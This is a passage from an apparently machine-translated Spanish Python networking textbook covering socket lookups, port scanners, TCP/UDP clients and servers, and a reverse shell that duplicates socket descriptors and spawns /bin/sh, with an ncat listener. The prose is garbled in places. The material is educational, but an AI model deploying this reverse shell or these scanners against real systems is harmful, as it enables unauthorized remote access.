Comienza la ejecución del script anteriorcon el encabezado que
el servidor envía para describir el documento. Por ejemplo,
el Content-Typeencabezado indica que elEl documento es un
documento de texto sin formato. Una vez que el servidor envía
el encabezado, añade una línea en blanco para indicar el final
del encabezado y luego envía los datos del archivo mediante
una GETsolicitud:
$ python socket_web_server.py
HTTP/1.1 200 OK
Connection: close
Content-Length: 86
Server: Apache
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Referrer-Policy: no-referrer
X-Xss-Protection: 1
Permissions-Policy: interest-cohort=()
Last-Modified: Sat, 04 Mar 2017 20:08:51 GMT
ETag: "56-549ed3b25abfb"
X-Clacks-Overhead: GNU Terry Pratchett
Content-Type: text/plain; charset=utf-8
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sat, 05 Nov 2022 18:13:50 GMT
Age: 0
X-Served-By: cache-ams12774-AMS, cache-mad22040-MAD
X-Cache: MISS, MISS
X-Cache-Hits: 0, 0
X-Timer: S1667672030.956456,VS0,VE61
Vary: Accept-Encoding
The list of Debian mirror sites is available here:
https://www.debian.org/mirror/list
Recopilación de información con sockets
El módulo de socketNos proporciona una serie de métodos
útiles si necesitamos convertir un nombre de host en una
dirección IP y viceversa. Entre los métodos útiles para obtener
más información sobre una dirección IP o un nombre de host se
incluyen los siguientes:
socket.gethostbyname(hostname) : este método
devuelve una cadena que convierte un nombre de host al
formato de dirección IPv4.
Este método es equivalente al nslookupcomando que podemos
encontrar en algunos sistemas operativos.
socket.gethostbyname_ex(name) : Este método
devuelve una tupla que contiene la dirección IP de un
nombre de dominio específico. Si se observa más de una
dirección IP, significa que un dominio se ejecuta en varias
direcciones IP:
socket.getfqdn([domain]) : se utiliza para encontrar el
nombre completo de un dominio.
socket.gethostbyaddr(ip_address) : Este método
devuelve una tupla con tres valores
( hostname, name, ip_address_list). hostnamerepresenta
el host que corresponde a la dirección IP dada, namees
una lista de nombres asociados con esta dirección IP
y ip_address_listes una lista de direcciones IP que están
disponibles en el mismo host.
socket.getservbyname(servicename[,
protocol_name]) : este método le permite obtener el
número de puerto a partir del nombre del puerto.
socket.getservbyport(port[, protocol_name]) : Este
método realiza la operación inversa a la anterior,
permitiendo obtener el nombre del puerto a partir del
número de puerto.
Estos métodos implementan una resolución de búsqueda DNS
para la dirección y el nombre de host dados utilizando los
servidores DNS proporcionados porSu proveedor de servicios
de internet ( ISP ). El siguiente script es un ejemplo de cómo
podemos usar estos métodos para obtener información de los
servidores DNS de Python y Google. Puede encontrar el
siguiente código en el socket_methods.pyarchivo:
import socket
try:
hostname = socket.gethostname()
print("gethostname:",hostname)
ip_address = socket.gethostbyname(hostname)
print("Local IP address: %s" %ip_address)
print("gethostbyname:",socket.gethostbyname('www.python.
org'))
print("gethostbyname_ex:",socket.gethostbyname_ex('www.
python.org'))
print("gethostbyaddr:",socket.gethostbyaddr('8.8.8.8'))
print("getfqdn:",socket.getfqdn('www.google.com'))
print("getaddrinfo:",socket.getaddrinfo("www.google.com",N
one,0,socket.SOCK_STREAM))
except socket.error as error:
print (str(error))
print ("Connection error")
En el código anterior, estamosUsando el socketmódulo para
obtener información sobre servidores DNS de un dominio y
dirección IP específicos. En la siguiente salida, podemos ver el
resultado de ejecutar el script anterior:
$ python socket_methods.py
gethostname: linux-hpelitebook8470p
Local IP address: 127.0.1.1
gethostbyname: 151.101.132.223
gethostbyname_ex: ('dualstack.python.map.fastly.net',
['www.python.org'], ['151.101.132.223'])
gethostbyaddr: ('dns.google', [], ['8.8.8.8'])
getfqdn: mad41s08-in-f4.1e100.net
getaddrinfo: [(<AddressFamily.AF_INET: 2>,
<SocketKind.SOCK_STREAM: 1>, 6, '', ('142.250.178.164', 0)),
(<AddressFamily.AF_INET6: 10>, <SocketKind.SOCK_STREAM:
1>, 6, '', ('2a00:1450:4003:807::2004', 0, 0, 0))]
En el resultado, podemos ver cómo obtenemos servidores DNS,
un nombre completo y direcciones IPv4 e IPv6 para un dominio
específico. Obtener información sobre el servidor que opera
detrás de un dominio es un proceso sencillo.
En el siguiente ejemplo, utilizamos el getservbyport()método
para obtener los nombres de los servicios a partir del número
de puerto. Puede encontrar el siguiente código en
el socket_service_names.pyarchivo:
import socket
def find_services_name():
for port in [21,22,23,25,80]:
print("Port: %s => service name: %s" %(port,
socket.getservbyport(port, 'tcp')))
print("Port: %s => service name: %s" %(53,
socket.getservbyport(53, 'udp')))
if __name__ == '__main__':
find_services_name()
Al ejecutar el script anterior, en la salida podemos ver el
nombre del servicio y el puerto asociado:
$ python socket_service_names.py
Port: 21 => service name: ftp
Port: 22 => service name: ssh
Port: 23 => service name: telnet
Port: 25 => service name: smtp
Port: 80 => service name: http
Port: 53 => service name: domain
En la ejecución de laEn el script anterior, vemos como
obtenemos el nombre del servicio para cada uno de los puertos
TCP y UDP.
Gestión de excepciones de sockets
Cuando estamos trabajandoCon el módulo socket, es
importante tener en cuenta que puede ocurrir un error al
intentar establecer una conexión con un host remoto porque el
servidor no está disponible. En la biblioteca de sockets de
Python se definen diferentes tipos de excepciones para
distintos errores. Para gestionar estas excepciones, podemos
usar los bloques `` tryy`` accept:
exception socket.timeout : Este bloque captura
excepciones relacionadas con la expiración de los tiempos
de espera.
Excepción socket.gaierror : Este bloque detecta errores
durante la búsqueda de información sobre direcciones IP.
Por ejemplo, al usar los métodos ` getaddrinfo()`` y `
`.getnameinfo()
excepción socket.error : Este bloque captura errores
genéricos de entrada y salida, así como de comunicación.
Este bloque genérico permite capturar cualquier tipo de
excepción.
El siguiente ejemplo muestra cómo gestionar excepciones.
Puede encontrar el siguiente código en
el manage_socket_errors.pyarchivo:
import socket
host = "domain/ip_address"
port = 80
try:
mysocket =
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print(mysocket)
mysocket.settimeout(5)
except socket.error as error:
print("socket create error: %s" %error)
try:
mysocket.connect((host,port))
print(mysocket)
except socket.timeout as error:
print("Timeout %s" %error)
except socket.gaierror as error:
print("connection error to the server:%s" %error)
except socket.error as error:
print("Connection error: %s" %error)
En el script anterior, cuando se agota el tiempo de espera de
una conexión con una dirección IP, se genera una excepción
relacionada con la conexión del socket. Si intenta obtener
información sobre dominios o direcciones IP
específicosdirecciones que no existen, probablemente lanzará
una socket.gaierrorexcepción, mostrando el mensaje [Errno -2]
Name or service not known.
Si no es posible la conexión con nuestro objetivo, se generará
una socket.errorexcepción con el mensaje Connection error:
[Errno 10061] No connection. Este mensaje significa que el
equipo objetivo rechazó activamente la conexión y no se puede
establecer la comunicación en el puerto especificado, que el
puerto se ha cerrado o que el objetivo está desconectado.
En esta sección hemos analizado las principales excepciones
que pueden ocurrir al trabajar con sockets y cómo nos pueden
ayudar a ver si la conexión con el servidor en un determinado
puerto no está disponible debido a un tiempo de espera o no es
capaz de resolver un determinado dominio o dirección IP.
Cliente básico con el módulo de socket
Ahora que tenemosTras revisar los métodos de cliente y
servidor, podemos empezar a probar cómo enviar y recibir
datos de un servidor. Una vez establecida la conexión,
podemos enviar y recibir datos utilizando los
métodos send()y recv()para las comunicaciones TCP. Para la
comunicación UDP, podríamos utilizar los
métodos sendto()y recvfrom()en su lugar. Puede encontrar el
siguiente código en el socket_client_data.pyarchivo:
import socket
host = input("Enter host name: ")
port = int(input("Enter port number: "))
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as
socket_tcp:
socket_tcp.settimeout(10)
if (socket_tcp.connect_ex((host,port)) == 0):
print("Established connection to the server %s in the
port %s" % (host, port))
request = "GET / HTTP/1.1\r\nHost:%s\r\n\r\n" % host
socket_tcp.send(request.encode())
data = socket_tcp.recv(4096)
print("Data:",repr(data))
print("Length data:",len(data))
except socket.timeout as error:
print("Timeout %s" %error)
except socket.gaierror as error:
print("connection error to the server:%s" %error)
except socket.error as error:
print("Connection error: %s" %error)
En el script anterior, usamos un try:exceptbloque para capturar
una excepción en caso de que no se pueda conectar y mostrar
un mensaje. También comprobamos si el puerto está abierto
antes de realizar la solicitud y recibir los datos del servidor.
En el código anterior, creamos un objeto de socket TCP, luego
conectamos el cliente al host remoto yEnvíale datos. El último
paso es recibir los datos e imprimir la respuesta. Para ello,
utilizamos el recv()método del objeto socket para recibir la
respuesta del servidor en la variable de datos.
Hasta ahora, hemos analizado los métodos disponibles en el
módulo de socket para los lados del cliente y del servidor y
hemos implementado un cliente básico.
Ahora que conoce los métodos para trabajar con direcciones IP
y dominios, incluida la gestión de excepciones y la creación de
un cliente básico, pasemos a aprender cómo podemos
implementar el escaneo de puertos con sockets.
Escaneo de puertos con sockets
Contamos con herramientas comoComo Nmap para comprobar
los puertos abiertos de una máquina. Podríamos implementar
una funcionalidad similar para detectar puertos abiertos con
vulnerabilidades en una máquina objetivo usando
el socketmódulo.
En esta sección, revisaremos cómo implementar el escaneo de
puertos con sockets. Implementaremos un escáner de puertos
para verificar los puertos introducidos por el usuario.
Implementación de un escáner de puertos
Los enchufes son losbloque de construcción fundamental para
la comunicación en red, y al llamar al connect_ex()método,
podemos probar fácilmente si un puerto en particular está
abierto, cerrado o filtrado.
El siguiente código de Python permite buscar puertos abiertos
en un host local o remoto. El script busca los puertos
seleccionados en una dirección IP especificada por el usuario y
le muestra los puertos abiertos. Si el puerto está bloqueado,
también indica el motivo.
Puede encontrar el siguiente código en
el socket_port_scanner.pyarchivo dentro de
la port_scanningcarpeta:
import socket
import sys
from datetime import datetime
import errno
remoteServer = input("Enter a remote host to scan: ")
remoteServerIP = socket.gethostbyname(remoteServer)
print("Please enter the range of ports you would like to scan on
the machine")
startPort = input("Enter start port: ")
endPort = input("Enter end port: ")
print("Please wait, scanning remote host", remoteServerIP)
time_init = datetime.now()
En el código anterior, podemos ver que el script comienza a
obtener información relacionada con la dirección IP y los
puertos del equipo de destino. Continuamos iterando por todos
los puertos mediante un forbucle de " startPorta" endPortpara
analizar cada puerto intermedio. Concluimos el script
mostrando el tiempo total para completar el escaneo de
puertos:
try:
for port in range(int(startPort),int(endPort)):
print ("Checking port {} ...".format(port))
sock = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
sock.settimeout(5)
result = sock.connect_ex((remoteServerIP, port))
if result == 0:
print("Port {}: Open".format(port))
else:
print("Port {}: Closed".format(port))
print("Reason:",errno.errorcode[result])
sock.close()
except KeyboardInterrupt:
print("You pressed Ctrl+C")
sys.exit()
except socket.gaierror:
print('Hostname could not be resolved. Exiting')
sys.exit()
except socket.error:
print("Couldn't connect to server")
sys.exit()
time_finish = datetime.now()
total = time_finish – time_init
print('Port Scanning Completed in: ', total)
El código anterior seráRealizamos un escaneo de cada uno de
los puertos indicados contra el host de destino. Para ello,
utilizamos el connect_ex()método para determinar si está
abierto o cerrado. Si el método devuelve un valor 0como
respuesta, el puerto se clasifica como Open. Si devuelve otro
valor de respuesta, el puerto se clasifica como Closedy se
muestra el código de error.
Al ejecutar el script anterior, podemos ver los puertos abiertos
y el tiempo, en segundos, de escaneo completo. Por ejemplo, el
puerto 80está abierto y el resto cerrado:
$ python socket_port_scanner.py
Enter a remote host to scan: scanme.nmap.org
Please enter the range of ports you would like to scan on the
machine
Enter start port: 80
Enter end port: 82
Please wait, scanning remote host 45.33.32.156
Checking port 80 ...
Port 80: Open
Checking port 81 ...
Port 81: Closed
Reason: ECONNREFUSED
Port Scanning Completed in: 0:00:00.307595
SeguimosImplementando un escáner de puertos más
avanzado, donde el usuario tiene la capacidad de ingresar
puertos y la dirección IP o dominio.
Escáner de puertos avanzado
El siguiente PythonEl script nos permitirá escanear una
dirección IP con las funciones portScanningy socketScan. El
programa busca los puertos seleccionados en un dominio
específico, resueltos a partir de la dirección IP introducida por
el usuario mediante el parámetro.
En el siguiente script, el usuario debe introducir como
parámetros obligatorios el host y al menos un puerto o una
lista de puertos, cada uno separado por una coma:
$ python socket_advanced_port_scanner.py -h
Usage: socket_portScan -H <Host> -P <Port>
Options:
-h, --help show this help message and exit
-H HOST specify host
-P PORT specify port[s] separated by comma
Puede encontrar el siguiente código en
el socket_advanced_port_scanner.pyarchivo dentro de
la port_scanningcarpeta:
import optparse
from socket import *
from threading import *
def socketScan(host, port):
try:
socket_connect = socket(AF_INET, SOCK_STREAM)
socket_connect.settimeout(5)
result = socket_connect.connect((host, port))
print('[+] %d/tcp open' % port)
except Exception as exception:
print('[-] %d/tcp closed' % port)
print('[-] Reason:%s' % str(exception))
finally:
socket_connect.close()
def portScanning(host, ports):
try:
ip = gethostbyname(host)
except:
print("[-] Cannot resolve '%s': Unknown host" %host)
return
try:
name = gethostbyaddr(ip)
print('[+] Scan Results for: ' + ip + " " + name[0])
except:
print('[+] Scan Results for: ' + ip)
for port in ports:
t = Thread(target=socketScan,args=(ip,int(port)))
t.start()
En el script anterior, estamos implementando dos métodos que
nos permiten escanear una dirección IP con los
métodos portScanningy socketScan, donde podemos resaltar el
uso de hilos paraLanzamos las diferentes solicitudes para cada
puerto a analizar. A continuación, implementamos
nuestro main()método:
def main():
parser = optparse.OptionParser('socket_portScan '+ '-H
<Host> -P <Port>')
parser.add_option('-H', dest='host', type='string',
help='specify host')
parser.add_option('-P', dest='port', type='string',
help='specify port[s] separated by comma')
(options, args) = parser.parse_args()
host = options.host
ports = str(options.port).split(',')
if (host == None) | (ports[0] == None):
print(parser.usage)
exit(0)
portScanning(host, ports)
if __name__ == '__main__':
main()
En el código anterior, podemos ver el programa principal donde
configuramos los argumentos obligatorios para ejecutar el
script. Una vez recopilados estos parámetros, llamamos
al portScanningmétodo que resuelve la dirección IP y el nombre
de host. A continuación, llamamos al socketScanmétodo que
utiliza el socketmódulo para evaluar el estado del puerto.
Para ejecutar el script anterior, necesitamos pasar como
parámetros la dirección IP o el dominio y la lista de puertos,
separados por comas. Al ejecutar el script anterior, podemos
ver el estado de todos los puertos especificados para
el scanme.nmap.orgdominio:
$ python socket_advanced_port_scanner.py -H
scanme.nmap.org -P 22,23,80,81
[+] Scan Results for: 45.33.32.156 scanme.nmap.org
[-] 23/tcp closed
[+] 80/tcp open
[-] Reason:[Errno 111] Connection refused
[+] 22/tcp open
[-] 81/tcp closed
[-] Reason:[Errno 111] Connection refused
La principal ventaja de implementar un escáner de puertos es
que podemos realizar solicitudes a un rango de direcciones de
puertos de servidor en un host para determinar los servicios
disponibles en una máquina remota.
Ahora que tuAhora que sabemos cómo implementar el escaneo
de puertos con sockets, pasemos a aprender cómo construir un
shell inverso con sockets en Python.
Implementando un shell inverso con sockets
Una concha es unaPrograma que puede funcionar como
interfaz con el sistema y los servicios que nos proporciona.
Existen dos tipos de conexiones para realizar unaAtaque
exitoso: conexión inversa y directa:
Un shell directo en la máquina de destino escucha la
solicitud de conexión; es decir, ejecuta software que actúa
como un servidor que escucha en un puerto específico,
esperando a que un cliente establezca una conexión para
entregarle el shell. Este es un shell de enlace donde el
receptor se configura y se ejecuta en la máquina de
destino.
En un ataque de shell inverso, se fuerza a un sistema
remoto a enviar una solicitud de conexión a un sistema
controlado por el atacante que la escucha. Esto crea un
shell remoto en el sistema de la víctima. En este caso, es
la máquina objetivo la que se conecta al servidor y se
configura y ejecuta un receptor en la máquina atacante.
En un shell inverso, es necesario que la máquina del atacante
tenga abierto el puerto que recibirá la conexión inversa.
Podríamos usar herramientas como netcat
( https://nmap.org/ncat/ ) para implementarlo.nuestro
oyente en un puerto específico en nuestra máquina local.
Para implementar un shell inverso en Python, se requiere el
módulo socket, que incluye toda la funcionalidad necesaria
para crear clientes y servidores TCP. Gracias
al connect()método de la Socketclase, es posible establecer
una conexión a una IP/dominio y puerto específicos.
El siguiente ejemplo requiere que el usuario configure un
listener como netcat, cuya ejecución veremos luego de analizar
el código.
El siguiente paso es elel más importante ya que es el que nos
permite duplicar los descriptores de archivos correspondientes
a la entrada, salida yflujos de error del socket para luego
vincularlos a un nuevo hilo, que será el que genere el shell.
Puede encontrar el siguiente código en
el reverse_shell.pyarchivo:
import socket
import subprocess
import os
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 45678))
sock.send(b'[*] Connection Established')
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
shell_remote = subprocess.call(["/bin/sh", "-i"])
proc = subprocess.call(["/bin/ls", "-i"])
Una vez que obtenemos el shell, podemos obtener un listado
de directorios mediante el /bin/lscomando, pero primero
debemos establecer la conexión con nuestro socket mediante
la salida del comando. Esto se logra mediante
la os.dup2(sock.fileno ())instrucción como un contenedor de
llamadas al sistema que permite duplicar un descriptor de
archivo para que toda la interacción del /bin/bashprograma se
envíe al atacante a través del socket.
Para ejecutar el script anterior y obtener una shell inversa
correctamente, necesitamos iniciar un proceso que esté
escuchando la dirección y el puerto anteriores. Por ejemplo,
podríamos ejecutarAplicación
llamada Netcat ( http://netcat.sourceforge.net ) como
herramienta que permite escribir y leer datos en la red
mediante los protocolos TCP y UDP. Entre las principales
opciones, destacan:
-l:Modo de escucha
-v:Modo verboso, que nos da más detalles
-n:Indicamos que no queremos utilizar DNS
-p:Debe indicar el número de puerto a continuación
-w: Tiempo de espera de conexión del lado del cliente
-k:El servidor sigue funcionando incluso si el cliente se
desconecta
-u:Utilice netcat sobre UDP
-e: Correr
Para escuchar en el objetivocomputadora, podríamos utilizar el
siguiente comando:
$ ncat -lvnp <listen_port>
A continuaciónSalida, podemos ver el resultado de ejecutar el
script anterior habiendo lanzado previamente el ncatcomando:
$ ncat -l -v -p 45678
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::45678
Ncat: Listening on 0.0.0.0:45678
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:58844.
[*] Connection Establishedsh-5.1$ whoami
whoami
linux
sh-5.1$
Ahora que ya sabes cómo implementar un shell de reserva con
sockets, pasemos a aprender cómo construir sockets en Python
que estén orientados a la conexión con un protocolo TCP para
pasar mensajes entre un cliente y un servidor.
Implementación de un cliente TCP y un servidor TCP simples
En esta sección vamos aIntroducir conceptos para crear una
aplicación orientada al intercambio de mensajes entre un
cliente y un servidor mediante el protocolo TCP. El
conceptoDetrás del desarrollo de esta aplicación está que el
servidor de socket es el encargado de aceptar conexiones de
clientes desde una dirección IP y puerto específico.
Implementando un servidor y un cliente con sockets
En Python, un socket puede sercreado que actúa como cliente
o servidor.
La idea detrás del desarrollo de esta aplicación es que un
cliente pueda conectarse a un host, puerto y protocolo
determinados mediante un socket. El servidor de sockets, por
otro lado, se encarga de recibir las conexiones de los clientes
dentro de un puerto y protocolo específicos:
1. Primero, crea un socketobjeto para el servidor:
2. server = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
3. socketUna vez creado el objeto, debemos establecer en
qué puerto escuchará nuestro servidor mediante
el bindmétodo. Para sockets TCP, el bindargumento del
método es una tupla que contiene el host y el puerto.
Este bind(IP,PORT)método permite asociar un host y un puerto
con un socket específico, considerando que los puertos del 1 al
1024 están reservados para los protocolos estándar. Con la
siguiente instrucción, nuestro servidor en localhost escucha en
el puerto 9999:
server.bind(("localhost", 9999))
3. A continuación, necesitaremos usar el listen()método del
socket para aceptar conexiones entrantes de cliente y
comenzar a escuchar. El método de escucha requiere un
parámetro que indique el número máximo de conexiones
que queremos que acepte un cliente:
4. server.listen(10)
5. El accept()método se utilizará para aceptar solicitudes de
un socket de cliente. Este método espera las conexiones
entrantes y bloquea la ejecución hasta que llega una
respuesta. De esta forma, el socket del servidor espera a
que otro cliente host reciba una conexión de entrada:
6. socket_client, (host, port) = server.accept()
7. Una vez que tenemos este objeto socket, podemos
comunicarnos con el cliente a través de él, utilizando los
métodos recv()y send()para la comunicación TCP
(o recvfrom()y sendfrom()para la comunicación UDP) que
nos permiten recibir y enviar mensajes, respectivamente.
El recv()método toma como parámetro el número máximo de
bytes a aceptar, mientras que el send()método toma como
parámetros los datos para el envío de la confirmación de los
datos recibidos:
received_data = socket_client.recv(1024)
print("Received data: ", received_data)
socket_client.send(received)
6. Para crear un cliente, debemos crear el objeto de socket,
usar el connect()método para conectarnos al servidor y
usar el send()método para enviar un mensaje alServidor.
El argumento del método connect()es una tupla con
parámetros de host y puerto, al igual que el bind()método
mencionado anteriormente:
7. socket_client = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
8.
9. socket_client.connect(("localhost", 9999))
10.
11. socket_client.send("message")
Veamos un ejemplo completo donde el cliente envía un
mensaje al servidor y el servidor repite el mensaje recibido.
Implementación del servidor TCP
En el siguiente ejemplo, somosImplementaremos un servidor
TCP multihilo. El socket del servidor abre un socket TCP en el
host local 9999y escucha las solicitudes en un bucle infinito.
Cuando el servidor recibe una solicitud del socket del cliente,
devuelve un mensaje indicando que se ha establecido una
conexión desde otra máquina. El siguiente código se encuentra
en el tcp_server.pyarchivo dentro de
la tcp_client_servercarpeta:
import socket
SERVER_IP = "127.0.0.1"
SERVER_PORT = 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((SERVER_IP,SERVER_PORT))
server.listen(5)
print("[*] Server Listening on %s:%d" %
(SERVER_IP,SERVER_PORT))
client,addr = server.accept()
client.send("I am the server accepting connections on port
999...".encode())
print("[*] Accepted connection from: %s:%d" %
(addr[0],addr[1]))
while True:
request = client.recv(1024).decode()
print("[*] Received request :%s" % (request))
if request!="quit":
client.send(bytes("ACK","utf-8"))
else:
break
client.close()
server.close()
En el código anterior, el whilebucle mantiene activo el
programa del servidor y no permite que el script finalice.
La server.listen(5)instrucción indica al servidor que comience a
escuchar, con el máximo de backlog.de conexiones
establecidas para cinco clientes.
Al ejecutar el script del servidor, podemos ver la dirección IP y
el puerto donde está escuchando, y los mensajes recibidos del
cliente:
$ python tcp_server.py
[*] Server Listening on 127.0.0.1:9999
[*] Accepted connection from: 127.0.0.1:49300
[*] Received request :hello world
[*] Received request :quit
El socket del servidor abre un socket TCP en el puerto 9999y
escucha las solicitudes en un bucle infinito. Cuando el servidor
recibe una solicitud del socket del cliente, devuelve un mensaje
indicando que se ha establecido una conexión desde otra
máquina.
Implementación del cliente TCP
El socket del clienteAbre el mismo tipo de socket que el
servidor creó y le envía un mensaje. El servidor responde y
finaliza su ejecución, cerrando el cliente de socket.
En el siguiente ejemplo, configuramos un servidor HTTP en la
dirección 127.0.0.1a través del puerto estándar 9998. Nuestro
cliente se conectará a la misma dirección IP y puerto para
recibir 1024 bytes de datos en la respuesta y almacenarlos en
una variable llamada búfer para posteriormente mostrarla al
usuario. Puede encontrar el siguiente código en
el tcp_client.pyarchivo dentro de la tcp_client_servercarpeta:
import socket
host="127.0.0.1"
port = 9999
try:
mysocket = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
mysocket.connect((host, port))
print('Connected to host '+str(host)+' in port: '+str(port))
message = mysocket.recv(1024)
print("Message received from the server",
message.decode())
while True:
message = input("Enter your message > ")
mysocket.sendall(bytes(message.encode('utf-8')))
if message== "quit":
break
except socket.errno as error:
print("Socket error ", error)
finally:
mysocket.close()
En el código anterior, la s.connect((host,port))instrucción
conecta al cliente con el servidor y el s.recv(1024)método
recibe los mensajes enviados por el servidor.
Al ejecutar el clientescript, podemos ver la dirección IP y el
puerto donde está conectado, el mensaje recibido del servidor
y los mensajes que se están enviando al servidor:
$ python tcp_client.py
Connected to host 127.0.0.1 in port: 9999
Message received from the server I am the server accepting
connections on port 999...
Enter your message > hello world
Enter your message > quit
Ahora que ya sabes cómo implementar sockets en Python
orientados a la conexión con el protocolo TCP para el paso de
mensajes entre un cliente y un servidor, pasemos a aprender a
construir una aplicación para el paso de mensajes entre el
cliente y el servidor utilizando el protocolo UDP.
Implementación de un cliente UDP simple y un servidor UDP
En esta sección, vamos a:Revise cómo puede configurar su
propia aplicación cliente-servidor UDP con PythonMódulo de
socket. La aplicación será un servidor que escucha todas las
conexiones y mensajes a través de un puerto específico e
imprime en la consola cualquier mensaje intercambiado entre
el cliente y el servidor.
UDP es un protocolo que esAl mismo nivel que TCP, es decir,
por encima de la capa IP, ofrece un servicio en modo
desconectado a las aplicaciones que lo utilizan. Este protocolo
es adecuado para aplicaciones que requieren una
comunicación eficiente y no tienen que preocuparse por la
pérdida de paquetes. Las aplicaciones típicas de UDP son la
telefonía por internet y la transmisión de vídeo.
La única diferencia entre trabajar con TCP y UDP en Python es
que, al crear el socket en UDP, se debe usar SOCK_DGRAMen
lugar de SOCK_STREAM. La principal diferencia entre TCP y UDP
es que UDP no está orientado a la conexión, lo que significa
que no hay garantía de que los paquetes lleguen a sus destinos
ni notificación de errores si falla una entrega.
Ahora implementaremos la misma aplicación que vimos antes
para el intercambio de mensajes entre el cliente y el servidor.
La única diferencia es que ahora usaremos el protocolo UDP en
lugar de TCP.
Vamos a crear un servidor UDP síncrono, lo que significa que
cada solicitud debe esperar hasta que finalice el proceso de la
solicitud anterior. El bind()método se usará para asociar el
puerto con la dirección IP. Para recibir el mensaje, usamos
el recvfrom()método. Para enviar solicitudes, usamos
el sendto()método.
Implementación del servidor UDP
La principal diferenciaLa diferencia con la versión TCP es que
UDP no controla los errores en los paquetes que se envían
entre el cliente y el servidor. Otra diferencia entre un socket
TCP y un socket UDP es que se debe
especificar SOCK_DGRAMen lugar de SOCK_STREAMal crear
el socketobjeto. Puede encontrar el siguiente código en
el udp_server.pyarchivo dentro de la udp_client_servercarpeta:
import socket,sys
SERVER_IP = "127.0.0.1"
SERVER_PORT = 6789
socket_server=socket.socket(socket.AF_INET,socket.SOCK_DGR
AM)
socket_server.bind((SERVER_IP,SERVER_PORT))
print("[*] Server UDP Listening on %s:%d" %
(SERVER_IP,SERVER_PORT))
while True:
data,address = socket_server.recvfrom(4096)
socket_server.sendto("I am the server accepting
connections...".encode(),address)
data = data.strip()
print("Message %s received from %s: "% (data.decode(),
address))
try:
response = "Hi %s" % sys.platform
except Exception as e:
response = "%s" % sys.exc_info()[0]
print("Response",response)
socket_server.sendto(bytes(response,encoding='utf8'),addre
ss)
socket_server.close()
En el código anterior, nosotrosMira
que socket.SOCK_DGRAMcrea un socket UDP, y la
instrucción data, addr = s.recvfrom(buffer)devuelve los datos y
la dirección de la fuente.
Para vincular el socket a una dirección y un número de puerto,
usamos el bind()método . Como no necesitamos establecer una
conexión con el cliente, no usamos
los listen()métodos accept(). Podemos iniciar la comunicación
directamente con el cliente.
Para recibir un mensaje en el protocolo UDP, utilizamos
el recvfrom()método , que toma el número de bytes a leer
como argumento de entrada y devuelve una tupla que contiene
los datos y la dirección desde la cual se recibieron los datos.
Para enviar un mensaje en el protocolo UDP, utilizamos
el sendto()método , que toma los datos como su primer
argumento de entrada y una tupla que contiene el nombre de
host y el número de puerto como la dirección del socket al que
enviar los datos.
Al ejecutar el script del servidor, podemos ver la dirección IP y
el puerto donde está escuchando el servidor, y los mensajes
recibidos del cliente cuando se establece la comunicación:
$ python udp_server.py
[*] Server UDP Listening on 127.0.0.1:6789
Message hello world received from ('127.0.0.1', 58669):
Response Hi linux
Message hello received from ('127.0.0.1', 58669):
Response Hi linux
Implementación del cliente UDP
Para empezarAl implementar el cliente, debemos declarar la
dirección IP y el puerto donde el servidor escucha. Este número
de puerto es arbitrario, pero debe asegurarse de usar el mismo
puerto que el servidor y de no usar uno que ya esté ocupado
por otro proceso o aplicación.
SERVER_IP = "127.0.0.1"
SERVER_PORT = 6789
Una vez establecidas las constantes anteriores para la
dirección IP y el puerto, es momento de crear el socket a través
del cual enviaremos nuestro mensaje UDP al servidor:
clientSocket = socket.socket(socket.AF_INET,
socket.SOCK_DGRAM)
Y finalmente, una vez que hemos construido nuestro nuevo
socket, es hora de escribir el código que enviará nuestro
mensaje UDP:
address = (SERVER_IP ,SERVER_PORT)
socket_client.sendto(bytes(message,encoding='utf8'),address)
Puede encontrar el siguiente código en el udp_client.pyarchivo
dentro de la udp_client_servercarpeta:
import socket
SERVER_IP = "127.0.0.1"
SERVER_PORT = 6789
address = (SERVER_IP ,SERVER_PORT)
socket_client=socket.socket(socket.AF_INET,socket.SOCK_DGRA
M)
while True:
message = input("Enter your message > ")
if message=="quit":
break
socket_client.sendto(bytes(message,encoding='utf8'),addres
s)
response_server,addr = socket_client.recvfrom(4096)
print("Response from the server => %s" %
response_server.decode())
socket_client.close()
En el código anterior, creamos un cliente de aplicación basado
en el protocolo UDP. Para enviar un mensaje a una dirección
específica, usamos el sendto()método , y para recibir un
mensaje de la aplicación servidor, usamos el recvfrom()método
.
Al ejecutar el script del cliente, podemos ver el mensaje
recibido del servidor y los mensajes que se están enviando al
servidor:
$ python udp_client.py
Enter your message > hello world
Response from the server => I am the server accepting
connections...
Enter your message > hello
Response from the server => Hi linux
Enter your message > quit
Por último, es importanteTenga en cuenta que si intentamos
usar SOCK_STREAMel socket UDP, probablemente obtendremos
el siguiente error:
socket.error: [Errno 10057] A request to send or receive data
was disallowed because the socket is not connected, and no
address was supplied.
Por lo tanto, es importante recordar que debemos utilizar el
mismo tipo de socket para el cliente y el servidor cuando
construimos aplicaciones orientadas a pasar mensajes con
sockets.
Implementando un servidor HTTP en Python
Conociendo elmétodos que hemos revisado anteriormente,
podemosImplementar nuestro propio servidor HTTP. Para ello,
podríamos usar el bind()método que acepta la dirección IP y el
puerto como parámetros.
El módulo socket proporciona el listen()método que permite
poner en cola un máximo de nsolicitudes. Por ejemplo,
podríamos establecer el número máximo de solicitudes 5con
la mysocket.listen(5)instrucción.
En el siguiente ejemplo, usamos localhost, para aceptar
conexiones desde la misma máquina. El puerto podría ser 80,
pero como se necesitan privilegios de root, usaremos uno
mayor o igual a 8080. Puedes encontrar el siguiente código en
el http_server.pyarchivo de la http_servercarpeta:
import socket
mySocket = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
mySocket.bind(('localhost', 8080))
mySocket.listen(5)
while True:
print('Waiting for connections')
(recvSocket, address) = mySocket.accept()
print('HTTP request received:')
print(recvSocket.recv(1024))
